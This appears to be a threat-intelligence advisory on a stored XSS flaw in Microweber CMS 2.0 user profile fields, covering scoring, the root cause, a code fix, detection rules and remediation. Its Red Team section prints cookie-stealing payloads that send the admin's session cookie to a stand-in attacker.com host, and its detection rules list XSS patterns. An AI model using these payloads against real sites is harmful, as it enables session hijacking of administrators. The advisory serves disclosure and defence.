CVE-2025-51503

Executive Summary

CVE-2025-51503 is a Stored Cross-Site Scripting (XSS) vulnerability in Microweber CMS 2.0. An authenticated attacker with the ability to edit their user profile can inject arbitrary JavaScript into profile fields (e.g., display name, bio, or custom fields). When an administrator views the affected profile (e.g., via the user management panel), the injected script executes in the admin's browser context. This can lead to session hijacking, credential theft, or forced administrative actions. The vulnerability is unpatched as of the latest available information, and no official patch or advisory has been released by Microweber.

Supply Chain & Package Security

Microweber is a PHP-based CMS distributed via Composer. The vulnerability resides in the core user profile handling code, not in a third-party package. However, administrators should verify the integrity of their Composer dependencies and ensure no malicious packages have been introduced.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs a valid user account.
• User Interaction (UI): Required (R) – The admin must view the attacker's profile.
• Scope (S): Changed (C) – The vulnerability impacts a different security zone (admin browser).
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify data (e.g., change admin settings).
• Availability (A): None (N) – No impact on availability.

CVSS Score: 5.4 (Medium)

Threat Level: Medium – Exploitation requires authenticated access and admin interaction, but the impact on the admin session can be severe.

Deep Dive & Mechanics

The vulnerability exists in the user profile update functionality. When a user submits profile data (e.g., display_name, bio, or custom fields), the application stores the input without proper sanitization or output encoding. The stored data is later rendered in the admin user management interface without escaping HTML entities.

Attack Flow:

1. Attacker logs in with a low-privilege account.
2. Attacker navigates to their profile edit page.
3. Attacker injects a malicious payload into a profile field, e.g., <img src=x onerror=alert(document.cookie)>.
4. The payload is stored in the database.
5. Admin visits the user management page and views the attacker's profile.
6. The payload executes in the admin's browser, allowing the attacker to steal session cookies, perform actions on behalf of the admin, or deface the admin panel.

Root Cause: Lack of output encoding when rendering user-controlled data in the admin interface. The application likely uses echo $user['display_name']; instead of echo htmlspecialchars($user['display_name'], ENT_QUOTES, 'UTF-8');.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

// In admin user profile view
echo $user['display_name'];

Patched Code (PHP):

// In admin user profile view
echo htmlspecialchars($user['display_name'], ENT_QUOTES, 'UTF-8');

Explanation: The vulnerable code directly outputs the user-supplied value without escaping. The patched code uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Microweber 2.0 instance.
• A valid user account (e.g., registered via the public registration form).

Exploit Steps:

1. Log in to Microweber as the attacker user.
2. Navigate to https://target.com/user/profile/edit.
3. In the "Display Name" field, inject the following payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

4. Save the profile.
5. Wait for an admin to view the user management page (https://target.com/admin/users).
6. The admin's browser will send a request to https://attacker.com/steal?cookie=<admin_session_cookie>.

Alternative Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://attacker.com/steal?cookie='+document.cookie, true);
xhr.send();
</script>

Blue Team

Detection Steps:

1. Monitor for unusual profile update requests containing HTML tags or JavaScript.
2. Inspect the display_name, bio, and custom fields in the database for script content.
3. Review web server logs for requests to /user/profile/edit followed by suspicious parameters.
4. Use the detection rules provided below.

Mitigation Steps:

1. Apply input validation to reject HTML tags in profile fields.
2. Implement Content Security Policy (CSP) headers to restrict script execution.
3. Sanitize output using htmlspecialchars() or a templating engine with auto-escaping.
4. Restrict admin panel access to trusted IPs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the Microweber server to attacker-controlled domains containing cookie= or document.cookie.
  • Unusual User-Agent strings in admin panel requests.
• File IOCs:
  • Modified user profile entries in the database containing <script> or <img onerror= tags.
• Log IOCs:
  • Repeated POST requests to /user/profile/edit with payloads containing HTML/JavaScript.
  • Admin panel access logs showing rapid navigation to user profiles.

Detection Engineering

YARA Rule

rule CVE_2025_51503_Microweber_XSS {
    meta:
        description = "Detects stored XSS payloads in Microweber user profile fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51503"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /<img[^>]*onerror\s*=/is
        $xss3 = /<svg[^>]*onload\s*=/is
        $xss4 = /onmouseover\s*=/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2025-51503 - Stored XSS in Microweber Profile Fields
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to inject XSS payloads into Microweber user profile fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/user/profile/edit'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in bio fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-51503 - Microweber Stored XSS Payload in Profile Update"; flow:to_server,established; content:"POST"; http_method; content:"/user/profile/edit"; http_uri; pcre:"/(<script|<img[^>]*onerror|<svg[^>]*onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable user profile editing for non-admin users until a patch is available.
2. Code Fix: Apply output encoding to all user-controlled data rendered in the admin panel. Use htmlspecialchars() or a templating engine with auto-escaping.
3. Input Validation: Reject any profile field input containing HTML tags or JavaScript.
4. CSP Header: Add a Content Security Policy header to the admin panel:

   Content-Security-Policy: default-src 'self'; script-src 'none'; img-src 'self';
   

5. Monitor: Implement the detection rules above to identify exploitation attempts.
6. Patch: Monitor the Microweber GitHub repository for an official patch. If none is released, consider forking and applying the fix manually.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-51503